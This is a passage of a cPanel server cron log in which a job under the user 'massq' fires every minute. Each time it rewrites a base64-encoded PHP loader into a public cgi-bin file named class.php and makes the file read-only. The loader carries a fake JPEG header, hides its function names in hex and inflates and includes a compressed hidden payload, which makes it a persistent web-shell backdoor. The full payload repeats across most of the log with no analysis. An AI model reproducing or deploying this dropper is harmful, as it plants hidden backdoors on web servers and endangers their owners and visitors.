RfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:59:01 server CROND[31876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:00:01 server CROND[32035]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 08:00:01 server CROND[32036]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 08:00:01 server CROND[32038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 08:00:01 server CROND[32039]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Apr  6 08:00:01 server CROND[32040]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  6 08:00:01 server CROND[32045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:01:01 server CROND[32178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:01:01 server CROND[32179]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 08:01:01 server run-parts(/etc/cron.hourly)[32179]: starting 0anacron
Apr  6 08:01:01 server run-parts(/etc/cron.hourly)[32191]: finished 0anacron
Apr  6 08:02:01 server CROND[32248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:03:01 server CROND[32308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:04:01 server CROND[32371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:05:01 server CROND[32428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 08:05:01 server CROND[32430]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  6 08:05:01 server CROND[32432]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 08:05:01 server CROND[32433]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 08:05:01 server CROND[32431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:06:01 server CROND[32649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:07:01 server CROND[32706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:08:01 server CROND[32757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:09:01 server CROND[389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:09:01 server CROND[390]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 08:10:01 server CROND[461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:10:01 server CROND[460]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 08:10:01 server CROND[463]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 08:10:01 server CROND[462]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 08:11:01 server CROND[583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:12:01 server CROND[777]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
